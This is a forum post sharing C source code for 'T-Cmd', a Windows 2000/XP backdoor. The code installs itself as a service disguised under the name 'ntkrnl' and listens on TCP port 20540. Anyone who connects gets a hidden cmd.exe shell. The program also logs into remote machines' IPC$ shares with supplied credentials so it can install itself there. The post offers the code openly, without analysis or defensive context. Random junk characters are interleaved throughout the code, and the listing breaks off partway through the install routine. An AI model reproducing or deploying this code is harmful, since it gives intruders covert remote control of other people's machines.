[分享]Windows2000-Xp服务级后门程序(源码) - 数学建模社区-数学中国

#include <windows.h> ) W$ v9 V7 |) n' c. m% u#include <stdio.h>

#define BUFFER_SIZE 1024 / Y# V6 i; D. G8 L/ c! j . M; f( O, B5 j7 d$ t5 [* E- ytypedef struct $ c7 ?; l+ s8 z2 `! \# D1 r2 \' r* ?2 s{ 3 B Q: Y. {! ~' e4 X HANDLE hPipe;1 m: N6 ^$ V% f3 n( g* I6 T SOCKET sClient; , j; k' w, F0 p# `5 Z}SESSIONDATA,*PSESSIONDATA;

typedef struct PROCESSDATA+ U$ c/ C4 w5 F$ Y: p" Y {" L! }2 i# I- K* {3 w! c2 C HANDLE hProcess;5 _. _) [0 o. B. y8 y! ]( p DWORD dwProcessId; 0 k/ ~2 J' U$ n w/ N" r5 Z3 m struct PROCESSDATA *next;: d$ f, ~# ~' I# R* i; U1 _ }PROCESSDATA,*PPROCESSDATA;

HANDLE hMutex; ! y& B, C% ]0 k1 OPPROCESSDATA lpProcessDataHead; , b, F% i* o8 d9 ^, ePPROCESSDATA lpProcessDataEnd;/ o& I/ B% H* |* _3 ~) y SERVICE_STATUS ServiceStatus;4 y5 \( z/ a: o" } SERVICE_STATUS_HANDLE ServiceStatusHandle;

void WINAPI CmdStart(DWORD,LPTSTR *);) j3 ~; `4 H" S X7 F8 x( ? void WINAPI CmdControl(DWORD);

DWORD WINAPI CmdService(LPVOID);$ w" F+ }; m2 g DWORD WINAPI CmdShell(LPVOID); ( p4 K. `1 j5 s$ |DWORD WINAPI ReadShell(LPVOID);: Q4 q6 ^/ T( \9 ] DWORD WINAPI WriteShell(LPVOID);

BOOL ConnectRemote(BOOL,char *,char *,char *);% `3 g4 v, r( H( x void InstallCmdService(char *);; ^3 o0 C0 u% E; X# q$ Q void RemoveCmdService(char *);

void Start(void);" o" p/ O. Q1 }% F& C void Usage(void);

int main(int argc,char *argv[]) ; w: `! C- }) z7 B( Q. K3 x+ ]{ 8 |6 S2 O8 v+ o" k& a- { Y2 A SERVICE_TABLE_ENTRY DispatchTable[] =/ F5 r3 m$ M# A {* X+ E4 _8 G. ~ {"ntkrnl",CmdStart},. g/ J" l% j5 ^4 Z0 }( r {NULL ,NULL }5 s* m# b, c6 t' O" y3 p: d };

if(argc==5)# }' T. f' n, c% J O( O { 6 r. ]. @: R1 _) ~+ H* p7 ` if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE) , ?4 e! {; s8 a& e: F { 7 y- Q% S7 e/ N0 @( M" s, ?; T1 b4 M return -1; 7 _( W9 k) B3 {2 D# {5 q }

if(!stricmp(argv[1],"-install")) 8 W) [% y1 m, [! p0 ?: T { ' S7 E- l" Y& R% Z( y( v6 N InstallCmdService(argv[2]);0 t, U9 h% `- g- e/ Z1 \ }* H/ Q! Y1 P& x8 A/ b- S else if(!stricmp(argv[1],"-remove")) ' X& v; r v o {; q3 G1 u4 `) }: T5 P! ?4 Z& _ RemoveCmdService(argv[2]); # N" l0 c* X/ @* H* p2 I9 h! x) ~ }

if(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==FALSE) 6 T! k- a- Q4 k9 o9 I { % d% ^* j& ] {+ t3 o8 Z$ c return -1;- B4 h1 W; @! M+ p' M2 D' ^ } * O1 L) t2 v1 ^2 [ return 0; + M5 ]' k" b2 E3 `& _; U } ; |8 U' {1 ` p! h# H8 m$ W else if(argc==2)3 b6 O5 O2 e! O& m q" x; L { $ C! c" J% |( [4 o ~ if(!stricmp(argv[1],"-install")) 8 L/ j' v! \9 q8 J1 I8 } { ( C- L. Q1 L5 g' m5 t' {' J7 ? InstallCmdService(NULL);( L' b* x/ _: r9 ?5 F( N }' z( \7 M; I/ y5 J' ]9 [* j else if(!stricmp(argv[1],"-remove"))9 d* {2 Z' C0 H# r' d6 g4 c* t {2 b. _ f9 T/ r8 Z RemoveCmdService(NULL);: j0 X; o, M0 N/ O1 C! p3 E, L4 A }9 c5 D" @4 I! m4 v. ` else* |* i3 L; c$ L2 s3 F$ y f" Q { $ P6 g5 @+ d! s1 S2 E0 R/ F Start(); : [# e2 u, q# G+ {- l. Q' n- p Usage(); % V* {$ k: ^' o" I8 O! k( Q } 1 n6 g, f5 n i3 ] return 0; * c* P& I1 Q" Z2 n }

StartServiceCtrlDispatcher(DispatchTable);

return 0;. S& y8 ^* Q) j }

void WINAPI CmdStart(DWORD dwArgc,LPTSTR *lpArgv)4 f4 ?4 f% W9 O; B* k0 D {4 {' ^7 F. h3 d- J# R$ t HANDLE hThread;

ServiceStatus.dwServiceType = SERVICE_WIN32; 1 e O# S8 |5 T- d ServiceStatus.dwCurrentState = SERVICE_START_PENDING;" _% k* Z$ p0 j! Y3 g' T- F% M5 ? ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP" m+ w5 B3 v" m" A- L: p5 p, l | SERVICE_ACCEPT_PAUSE_CONTINUE; Q3 `9 C% C/ f# ~9 Z ServiceStatus.dwServiceSpecificExitCode = 0; / `6 _8 ^& T9 E4 r4 x( z! n3 R ServiceStatus.dwWin32ExitCode = 0;5 g5 c6 g6 }8 j: c0 j ServiceStatus.dwCheckPoint = 0; ) u* g7 E2 g1 q; t9 \, n ServiceStatus.dwWaitHint = 0;

ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl); , G& |+ t) A8 J0 o; t if(ServiceStatusHandle==0) - D9 S. s: S' c4 \* v9 I. g { / ?8 r1 v5 T# G- q) m: e( R9 h4 D OutputDebugString("RegisterServiceCtrlHandler Error !\n"); ! R' j, ~9 L6 ?1 h$ M return ; - t7 i2 O1 L- Q, V }

ServiceStatus.dwCurrentState = SERVICE_RUNNING;; S0 @, a5 X( s2 h ServiceStatus.dwCheckPoint = 0; ! n' `% M6 l; }6 n* |8 l ServiceStatus.dwWaitHint = 0; 5 \; j* K) h# }: Z( N' Q. \7 y ( l& }8 a% i) m+ Q/ u( I2 Y, w if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0) 8 u, } j U9 t: f5 D { # \8 o m2 `7 j3 U( J3 i4 O4 i OutputDebugString("SetServiceStatus in CmdStart Error !\n");; G' l& V7 Q2 m0 F( y return ; . e$ A0 S0 n; C q }

hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL); * z( l i1 q% T4 n+ j* \ if(hThread==NULL)0 S. i# s& k) [# b4 U6 W( f { & e8 Y& F: I2 c; f) m. b% j! _" { OutputDebugString("CreateThread in CmdStart Error !\n");! `+ T* G1 a# F }

return ; 4 s& x H* y7 ^7 q! w+ t}

void WINAPI CmdControl(DWORD dwCode) 4 g& K7 T4 e' P5 H+ r T+ J, Z" Y{5 ]9 u3 h' a u9 h/ } switch(dwCode) % v7 [$ i" s: o6 F X) o {. [2 b" \7 B0 i1 ]; O! m! w case SERVICE_CONTROL_PAUSE: . V' l m2 Y1 e/ l ServiceStatus.dwCurrentState = SERVICE_PAUSED; 4 y7 V) L# h' U7 @ break;

case SERVICE_CONTROL_CONTINUE:4 j- K, s5 d! J, j; i4 o3 P ServiceStatus.dwCurrentState = SERVICE_RUNNING; , C7 `) X+ k+ g& _+ N break;

case SERVICE_CONTROL_STOP: , D# p) z) ]* K1 c4 C$ ] WaitForSingleObject(hMutex,INFINITE);2 c; ~. Z, M6 ~5 i2 ?, t while(lpProcessDataHead!=NULL) % m# V, _. O; z0 n( [/ G { / g# i6 W9 v) y5 Y* \: v/ L TerminateProcess(lpProcessDataHead->hProcess,1); # F% g# C5 c% b( r) |" L if(lpProcessDataHead->next!=NULL) u4 _# d. I) E6 F { ( }( S; r/ j- G, O$ N2 p$ V3 t lpProcessDataHead=lpProcessDataHead->next;: Y1 F; I1 n7 G% i; g9 T: R }7 B0 h, T4 A9 A: {6 z else : T/ A. j! z) [1 v' Q/ S { / w2 \2 |7 k; u& b+ R% [ lpProcessDataHead=NULL; y0 c* Q4 ] A' ? e; s }/ A" M7 ?6 b8 h" p8 ?7 O }

ServiceStatus.dwCurrentState = SERVICE_STOPPED; {5 N/ Z# z3 u3 u+ | r- o# \+ Y ServiceStatus.dwWin32ExitCode = 0; 2 Q% |" C7 B8 |$ {8 K ServiceStatus.dwCheckPoint = 0; ( S8 i9 m F) a7 m1 A ServiceStatus.dwWaitHint = 0; ! X. H8 w0 L. R4 |5 i9 c if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)5 B/ \. f$ x3 P* R+ p { 2 T+ Q' w% a( B" T* V$ c ? OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");! ^+ V: v) `; L }

ReleaseMutex(hMutex); / H q1 M6 g+ ~ CloseHandle(hMutex); + O4 D% }! R |2 @( [6 G) P return ;

case SERVICE_CONTROL_INTERROGATE:4 i0 a0 y. C7 u3 N6 K: D break;

default:- a4 ~/ L/ M( x0 e8 ?# B0 q/ o break; - q2 e0 F4 [/ I; g- P& p }

if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)+ y/ K: v$ g% v- A/ V1 k$ n+ i {8 P. v# \. @, Q* V' R p OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n");6 d9 @- V" B( b }

return ; + i) s1 w" s- c7 }* k' q}

DWORD WINAPI CmdService(LPVOID lpParam) . Q) ^1 g! B+ ]7 ]3 f$ d{ - k' n0 D3 X; V* R8 Q WSADATA wsa;& _+ {3 e' N* i SOCKET sServer;6 o4 J0 u* Y; A0 k6 Y SOCKET sClient;/ w: v- T% t1 m HANDLE hThread;' {+ T& I1 j' O' P! Y) K struct sockaddr_in sin;

WSAStartup(MAKEWORD(2,2),&wsa);8 ^; [ f* v. v; T6 D sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ; H0 T% f( ^+ d% W2 v( V. [1 y# I if(sServer==INVALID_SOCKET)8 O- {4 v" c- [9 N5 x {. G; Q7 j2 g9 y/ Y% N! k3 ?; A- k" E OutputDebugString("Socket Error !\n");: t I+ R3 Z2 K return -1; * Z2 e: Z7 X) I5 `4 y }+ j# P6 a" _( b! q2 `2 i& T. E" Z sin.sin_family = AF_INET; + W+ g& z" z: g sin.sin_port = htons(20540); ! A4 S7 Z8 O6 }5 @( Q( ]: t T; v sin.sin_addr.S_un.S_addr = INADDR_ANY;

if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR) 7 a2 {1 t! t$ [$ D, L6 `+ |. ` {0 w# D* ]3 ~( _7 a- H OutputDebugString("Bind Error !\n");& I" ]. J# g, R: R x! X, v9 ]# s2 F return -1; 3 r2 l6 f5 A1 L, H9 O } 2 @6 ?; Y# L1 A% k- i" s. X if(listen(sServer,5)==SOCKET_ERROR) 6 d6 D2 B8 N. H0 x6 K2 P {$ Z$ I% u( l1 v+ F7 A9 i# u OutputDebugString("Listen Error !\n"); 8 u$ X; t) L5 }; Q6 Z$ ~ return -1;, x8 v; [3 J+ l- w } $ Z- l. @0 E4 O/ s! {9 k 1 f4 l! F: N9 U# j. o0 b hMutex=CreateMutex(NULL,FALSE,NULL);- v; b: U$ s4 T2 Z5 |/ E; U+ ? if(hMutex==NULL) 3 D' H/ D9 L6 q* x' E( b {+ R& b" x$ `" E$ Y0 x5 S7 c$ I m OutputDebugString("Create Mutex Error !\n"); 2 d5 S. e/ D. [$ O7 F }9 g+ _6 k6 A* D: h& T lpProcessDataHead=NULL;0 K/ v+ k. N1 p% X4 R lpProcessDataEnd=NULL;

while(1) , W2 T( `3 D9 c3 q# A+ T+ v; y { 7 o' e) Z- E! ` C l; h sClient=accept(sServer,NULL,NULL); " a9 C9 i/ ^$ D1 E+ P hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);# A" j, t9 n. _; y6 N if(hThread==NULL) 9 x% y0 w( U5 ^$ S$ q/ ^/ l9 ] { p B, G# h0 A5 j1 Y' W OutputDebugString("CreateThread of CmdShell Error !\n"); ; E% _7 e, k( U7 K break; ) L$ l, d; d- M1 Y9 U% E }$ ^6 Z! X1 r7 X; e' `5 p2 D Sleep(1000); # ~/ a0 ~* S: [ }

WSACleanup();, T+ W$ |5 q9 y% O+ R* i return 0;) l2 w7 v" `7 w' w& ?0 z }

DWORD WINAPI CmdShell(LPVOID lpParam) + n5 k5 Q1 ]0 q# i{ 4 q. e! M+ W' F SOCKET sClient=*(SOCKET *)lpParam;3 z- z% ?( y! M4 G+ P1 {: r HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell; ) T( f2 O T' K6 P9 E4 n8 v HANDLE hThread[3]; 1 C3 Q, `2 k6 e5 J5 m DWORD dwReavThreadId,dwSendThreadId; 0 J; j" Z$ t2 P! C3 [ DWORD dwProcessId;3 [; o+ A! t2 G" i+ \- l; G2 f) g$ l DWORD dwResult;/ V2 t, P& Z' i6 _ STARTUPINFO lpStartupInfo; " o; g: k$ Q( }8 h% ~4 K) u e SESSIONDATA sdWrite,sdRead; 4 I( H/ |- Z" G+ p7 e m- ^" F9 c PROCESS_INFORMATION lpProcessInfo;* x! C5 E( v+ { SECURITY_ATTRIBUTES saPipe; * n: q5 r' ]7 P, a PPROCESSDATA lpProcessDataLast;4 e7 |: X4 q) K& i7 A- p, F PPROCESSDATA lpProcessDataNow;- |3 F- C+ p; k* t2 v0 R2 v char lpImagePath[MAX_PATH];

saPipe.nLength = sizeof(saPipe); 2 a( c8 F: [' y1 g4 t. h4 w7 x saPipe.bInheritHandle = TRUE; & G, Q( N6 [ }3 y+ }) R- _- ]2 I saPipe.lpSecurityDescriptor = NULL;' u+ m! h; g- A" m& h6 n2 ~2 y8 F if(CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)==0) 7 x" b5 O# t. \$ a& {" Z0 j' d5 a { 6 ?# n" q! p: | h% V; o OutputDebugString("CreatePipe for ReadPipe Error !\n"); # \7 r! k6 Y/ N; F2 s0 s( D5 m return -1; % @ y W2 p* v) o }

if(CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)==0) : s8 v" ?2 k, J# O { ; S- i C' [4 y$ C# K OutputDebugString("CreatePipe for WritePipe Error !\n"); + U6 ]! E' k7 o8 G! K5 i( O8 i return -1; 4 k5 u& X8 L4 O0 A) ?& ?' X }

GetStartupInfo(&lpStartupInfo); . T& X3 u8 F) ]+ ` lpStartupInfo.cb = sizeof(lpStartupInfo); ' O$ e @' |1 e# T7 J. _, w5 I9 `, K lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; $ B* K) L7 l. T0 d lpStartupInfo.hStdInput = hWriteShell; " F+ n3 D4 Q) n( n- |" b4 Y4 j lpStartupInfo.hStdOutput = hReadShell; . s3 t [; S$ Y3 e, i W lpStartupInfo.hStdError = hReadShell; , S H0 V5 ]. e& m* [+ J lpStartupInfo.wShowWindow = SW_HIDE;

GetSystemDirectory(lpImagePath,MAX_PATH); $ r4 y* B) j! I( |5 r/ y strcat(lpImagePath,("\\cmd.exe"));6 |' A# @. S& _5 B+ N ( Y* H$ K* [% k! D1 ~$ H WaitForSingleObject(hMutex,INFINITE);* d" a- D6 ^; k% _* n' | if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)==0) " A! j3 \" G) k6 \9 J$ _ { & X. i+ E) O" K& @9 M- { OutputDebugString("CreateProcess Error !\n");' ?9 H7 q4 u$ w$ E- U: h' p return -1; ' n0 B/ P; {7 E; D1 x8 D; e, S }

lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA)); ( |8 K8 p& t$ O lpProcessDataNow->hProcess=lpProcessInfo.hProcess;2 G1 } m4 d: ?0 A lpProcessDataNow->dwProcessId=lpProcessInfo.dwProcessId; 3 v9 a! i. j* K- k/ a8 x* @& P& Q4 Q. { lpProcessDataNow->next=NULL;: Z! ], V4 i( ?+ E" P7 D( k$ P if((lpProcessDataHead==NULL) || (lpProcessDataEnd==NULL)); W0 ~/ ?( r! @! o$ w- [ { }. A& z; h& Q* u lpProcessDataHead=lpProcessDataNow;" f3 Z1 o. j4 {: {, E lpProcessDataEnd=lpProcessDataNow; ( i% I! O! ?# Q) |9 G# l# u9 l. B }9 k B6 Y4 Q! m; k, G+ K- H else- i Z& R0 w# ~3 |8 ]* v4 E5 k { # [! K1 k- H( m6 F. w" b2 c lpProcessDataEnd->next=lpProcessDataNow;3 e' N+ b1 ~. x) Q0 y lpProcessDataEnd=lpProcessDataNow;) h' t/ d3 v5 t6 K }

hThread[0]=lpProcessInfo.hProcess;6 a4 a/ ]+ ~2 o, j dwProcessId=lpProcessInfo.dwProcessId; , G& W0 q" `9 i; \2 r8 n6 T J CloseHandle(lpProcessInfo.hThread);+ u* M) V# H( N" u( l# _+ W |" N ReleaseMutex(hMutex);

CloseHandle(hWriteShell); 0 A v5 N$ }6 z2 ^8 r/ r CloseHandle(hReadShell);

sdRead.hPipe = hReadPipe; ( r" G- l9 O( C& c0 T( l% X sdRead.sClient = sClient;1 p# y& C: \" P9 H hThread[1] = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId); : f6 e! ]! ^# d6 D% n if(hThread[1]==NULL)9 i7 K" m; B8 y( C# C- O7 X+ T- n { 0 e3 S4 k$ |' t+ z% d OutputDebugString("CreateThread of ReadShell(Send) Error !\n"); - o/ C8 {& c: B- o5 x0 R* ^, w return -1; ) d6 _9 m$ N' ` }

sdWrite.hPipe = hWritePipe; 7 y9 b$ q- e" I) e# o7 _! i: g( Q% Z9 ` sdWrite.sClient = sClient; , g( ~$ x( D3 F& V) l& h hThread[2] = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);: y. u9 J3 W1 L4 l! B if(hThread[2]==NULL)* k: j" d- W& G5 J6 n6 X+ L% D H2 f+ K {5 d% N3 }* R0 i L- L. H1 { OutputDebugString("CreateThread for WriteShell(Recv) Error !\n");9 _2 i% q( Z8 g, q( K" u; F( h return -1; % \% l I" L& @( \ }

dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE); * u. X! \# s7 F. o$ I if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2))) 3 ?- \% a" g% f- j/ B7 A/ U {) A6 C% P4 t& A" Q- c dwResult-=WAIT_OBJECT_0;: [* f3 ? p6 a; T9 t' P if(dwResult!=0)& g, f) h F! J( G" Z {8 c i# s, u) R9 |. X% y TerminateProcess(hThread[0],1); # L! |1 O6 S6 I) K } + m6 G( r0 f' J2 f' P, Y+ N CloseHandle(hThread[(dwResult+1)%3]);$ F7 ~4 f+ e% B2 _ CloseHandle(hThread[(dwResult+2)%3]);) @! q. n/ M+ } }

CloseHandle(hWritePipe); ) A T @* U9 T( x CloseHandle(hReadPipe);

WaitForSingleObject(hMutex,INFINITE);7 w; v( b. W1 j lpProcessDataLast=NULL;* ^5 B8 T4 J* r; c3 y lpProcessDataNow=lpProcessDataHead;4 F, ~' b8 N/ m! v while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId)) z' b# R/ Y+ `0 g {& |0 I4 `- ?. R7 t+ b lpProcessDataLast=lpProcessDataNow; 7 O+ |1 G2 ]! Z4 f4 v- `9 f& ` H' H lpProcessDataNow=lpProcessDataNow->next; ( j7 w1 e0 g; y0 d } * u% l% F9 A. G# q, [ if(lpProcessDataNow==lpProcessDataEnd) : [. \1 W# D- K { 2 ^" @( j8 {2 ~' j7 I6 h if(lpProcessDataNow->dwProcessId!=dwProcessId)0 v' P9 J9 ?. d$ f& ^7 N5 S {' v( \8 r; W" D# ? w6 F OutputDebugString("No Found the Process Handle !\n");5 o. m O& R: K } , o, D$ z# k& M" q- j# Z6 V# w else% O4 l6 Z+ {# s+ ~! e { - `8 q: P, S+ ? if(lpProcessDataNow==lpProcessDataHead) 9 u) I9 [, h( j) A {5 M/ S1 R' M- v: x' X lpProcessDataHead=NULL; 3 L: \* h& I+ b" c8 [7 I lpProcessDataEnd=NULL;( ^& t9 ]; G) B6 s$ Z! R } 3 v+ N) `& p) E: P' K# X else& `; E& T* T5 w7 q/ j5 ]) h+ J { 2 ?" ?/ l( O3 A. s1 y lpProcessDataEnd=lpProcessDataLast; 7 s# O6 Y% v6 O' E2 A3 U }' k* Q7 E& J7 b$ [2 t0 s }$ |/ G! x4 w) s! P/ E0 m# B1 J } 1 l/ y0 @" b) d) B6 m3 Q5 |0 _* q" Q5 T else( m) {9 ~! S, T. Q {% l6 v! E0 @! G9 ~% j if(lpProcessDataNow==lpProcessDataHead) # f, ], Q2 C' K7 t$ l# O9 n2 z {6 I. _+ C% P% ^ B7 t# y3 } lpProcessDataHead=lpProcessDataNow->next; 5 K9 Q9 D7 f% w: W } , X9 |" _( X/ E else 8 J$ z: K& {* H. u% X& ? {& W6 P+ j5 N1 i4 q3 C2 k$ { lpProcessDataLast->next=lpProcessDataNow->next;: n4 }$ p& [7 [: h0 A# [( L } 7 X/ ]% E, a5 T* o } $ x% V, N4 T& U; m6 w4 j ReleaseMutex(hMutex);

return 0;8 i3 F/ _! H1 _1 a }

DWORD WINAPI ReadShell(LPVOID lpParam) % J1 ]6 n' [: g1 b6 {. N{) i( a# \) |5 t' W: B. [ SESSIONDATA sdRead=*(PSESSIONDATA)lpParam; ) A3 |- u; R: x+ N DWORD dwBufferRead,dwBufferNow,dwBuffer2Send; % q0 b; ~9 f" |" d1 T5 F char szBuffer[BUFFER_SIZE]; : e9 H1 w: A* s \ char szBuffer2Send[BUFFER_SIZE+32];$ s Y) L9 t$ T char PrevChar; ' R6 T, `7 Z, t) T% z! D char szStartMessage[256]="\r\n\r\n\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\r\n\t\t---[ E-mail: TOo2y@safechina.net ]---\r\n\t\t---[ HomePage: www.safechina.net ]---\r\n\t\t---[ Date: 02-05-2003 ]---\r\n\n";. D6 O* I M$ F0 e2 S. Q$ i/ A4 a char szHelpMessage[256]="\r\nEscape Character is 'CTRL+]'\r\n\n";

send(sdRead.sClient,szStartMessage,256,0);. a& o7 h6 t+ s. Q1 c( C( ` send(sdRead.sClient,szHelpMessage,256,0);

while(PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL)) 9 q3 k+ L8 J, u5 R% _ { 6 ?# g# f3 d) { if(dwBufferRead>0) 9 P5 W( a# C6 d- s' X { b/ @1 c7 G" t" }4 M ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);: w# F/ A' K8 r! _: O7 l }* p( W* \. r" T else6 s k0 n/ \% S {) P) ^. J( Q0 { Sleep(10); - w5 i5 F9 X" C: O' l( {; T# r( u5 S0 E continue;1 N- ~9 [8 J. H6 B }

for(dwBufferNow=0,dwBuffer2Send=0;dwBufferNow<dwBufferRead;dwBufferNow++,dwBuffer2Send++) A$ X6 Z" P- z' \# X. [5 S { ( W; g/ m3 l: I# K5 l; L if((szBuffer[dwBufferNow]=='\n') && (PrevChar!='\r'))# F8 G( [+ \! z2 }6 _ { 8 v! l# b& U% u szBuffer[dwBuffer2Send++]='\r';, g! Q! E7 a% L } " t/ v' ]: E" B+ Q0 }1 j: ^ PrevChar=szBuffer[dwBufferNow];2 |! B: _. J8 l! B szBuffer2Send[dwBuffer2Send]=szBuffer[dwBufferNow]; * X8 ]% G3 r" E% N _& r }

if(send(sdRead.sClient,szBuffer2Send,dwBuffer2Send,0)==SOCKET_ERROR) 5 K1 y2 e# ^7 C {) E3 L8 A3 w$ o4 G) |8 D7 n: } OutputDebugString("Send in ReadShell Error !\n"); T! ~# e# T7 o Q* x- I: V break; 6 Z! I$ f# h& ?0 a } 9 R x- |- x3 k4 ]3 @# h Sleep(5); $ F) q' q: F& M2 R }

shutdown(sdRead.sClient,0x02); * h5 w* w/ f& ^( F; N closesocket(sdRead.sClient); # t3 r& L" L6 x& \ return 0;# w" Q8 ?& U( }* N }

DWORD WINAPI WriteShell(LPVOID lpParam) 6 B/ q3 I6 r( l{ 6 j" r ^+ q4 j! K& t6 W2 Y SESSIONDATA sdWrite=*(PSESSIONDATA)lpParam; 7 z0 l, Y( g- K7 S, t( w% ]1 p DWORD dwBuffer2Write,dwBufferWritten;8 b/ h* Y' [! Y! g( ^$ _0 R char szBuffer[1];! z3 Z8 [* V E* }9 ?, } char szBuffer2Write[BUFFER_SIZE];

dwBuffer2Write=0; ( \3 H) |' r# }1 \% P9 V) r while(recv(sdWrite.sClient,szBuffer,1,0)!=0) : W5 z# H: y* z: ^5 n {2 L* K! i/ y6 x szBuffer2Write[dwBuffer2Write++]=szBuffer[0];

if(strnicmp(szBuffer2Write,"exit\r\n",6)==0)( V, q- {7 z9 Z2 J, f {( h. c9 `1 ~- V y f' v3 H( T shutdown(sdWrite.sClient,0x02); % R( ]- T. {. V9 c- ^ closesocket(sdWrite.sClient); 9 {$ T$ r p! d return 0; e; D; C1 f' J7 c$ @) ^ }

if(szBuffer[0]=='\n') & B K1 n0 [ J* b7 a {8 S( E" Q( @: G" e/ a$ X if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL)==0) % U( Z( I, U( v8 y5 \2 ` {0 P' \- E' q$ ?! c' u OutputDebugString("WriteFile in WriteShell(Recv) Error !\n");& U' G0 f3 y* o. F, Z break; 6 d0 I: F( |! d7 K9 l6 ]' k } * U3 F( y5 d) R$ a dwBuffer2Write=0; - x5 Y( E$ s( A' ? }& M% `5 B* Y' s! q% h8 I$ s Sleep(10); & H# T) W' N4 i, b7 T" L6 _( V }

shutdown(sdWrite.sClient,0x02); # h, L1 i# h& W closesocket(sdWrite.sClient); ! O8 k. y; g3 n7 ?( w return 0; ! g2 ]. Z% Q( Q( V5 r}

BOOL ConnectRemote(BOOL bConnect,char *lpHost,char *lpUserName,char *lpPassword) & `' ]; ?0 X" |' i! V{ * S$ L* K2 h( L char lpIPC[256];9 ^# s4 {5 ~5 @4 x) R3 S DWORD dwErrorCode;5 Q* r" l, y3 b NETRESOURCE NetResource;

sprintf(lpIPC,"\\\\%s\\ipc$",lpHost); & U. J3 |1 V, F NetResource.lpLocalName = NULL;5 _ L1 h6 Q' z4 z; W$ z/ V- ~ NetResource.lpRemoteName = lpIPC; 5 w7 M& Y% [8 f NetResource.dwType = RESOURCETYPE_ANY; : I+ E6 l7 J* O" E2 U+ r NetResource.lpProvider = NULL;

if(!stricmp(lpPassword,"NULL"))" L; s9 @1 C3 Y& Q& r* v" T( } { ( K: Q3 |5 ^, B lpPassword=NULL; & F; C; o* ?. X. l( B }

if(bConnect)# l+ M2 _) x" Q2 E { P( E- @' a+ F2 } printf("Now Connecting ...... "); 7 X+ k1 o6 f$ X5 M: Z2 D8 z+ y+ g while(1) 5 j, b: T2 p2 ]6 T! S; a1 B { 7 Y# k* E: o v& v; j0 s dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);; S) Y; b8 W7 C V' d) b7 `5 k0 w if((dwErrorCode==ERROR_ALREADY_ASSIGNED) || (dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED)) {- [' L# _* B1 R4 [ {5 D* M" ?6 M, L: ]# I. l8 ~' Q WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);$ ~* ^: O" |4 W5 M8 z5 G } 4 m3 f6 A N( j5 K7 O- L+ P5 m1 _ else if(dwErrorCode==NO_ERROR)$ w( _7 l/ S8 ]3 v# O1 ]8 U' E {, M' f: [4 x$ Y3 H printf("Success !\n"); 1 s& j+ _+ Z7 S4 Q5 }! W* o break;. A2 M8 J# ?! V8 o0 @. Y# _ } 1 o k! s; G+ L* T else & } Q; G) M, i$ w% `) c {6 {+ _3 k' s* Q& ] printf("Failure !\n"); 6 F, Y& g0 \4 `! T$ U; { return FALSE;7 o$ u3 Z+ @/ x1 ^ }' O/ \. k7 ^5 @1 k1 D* p Sleep(10);3 \: M; f3 X' Q; o } 4 G' j/ H8 r% p0 U3 C# i } 6 N% p- _8 U! q" [, E else% G3 W$ a: M0 z {3 J$ `% M8 P1 g7 w1 m1 P printf("Now Disconnecting ... "); , U, _: w/ }! Y! \: [# H) d dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE); # U' N$ i! J9 L2 t9 i1 K Y if(dwErrorCode==NO_ERROR) * d1 t( R7 d9 @$ S { + P3 ^9 {1 _6 N$ p7 x printf("Success !\n");# H5 r3 e U4 G2 s# x. R5 U }- P% o6 y/ G8 d8 y6 L* g; n else , D+ M# _; b/ ]3 M1 D/ j" F( q8 i {3 R2 T, s% |; |/ B9 b4 Z printf("Failure !\n"); 4 S1 q9 a! I1 x; n return FALSE;$ R6 p2 n; |( G } % [% Y& _% [% U- g }

return TRUE;* X! f: y V3 Y }

void InstallCmdService(char *lpHost)1 M9 `8 L8 M. B {( Q ^% O& I, ~: F5 {) \) y% G! c, W" x SC_HANDLE schSCManager; $ N. h# ^8 ~5 x) x SC_HANDLE schService;6 z* Y, r" f/ I0 ?) k char lpCurrentPath[MAX_PATH]; ' Y* _9 F7 Q0 m: X( H+ f) K$ J char lpImagePath[MAX_PATH];% l% R% @" r7 D+ r3 I: `. Y char *lpHostName;% e8 M9 r d# g {- ~9 ^ WIN32_FIND_DATA FileData;8 T; G8 t) p* m" u; E HANDLE hSearch;& H, L% N( V' e DWORD dwErrorCode; , O o% a; H' W SERVICE_STATUS InstallServiceStatus;

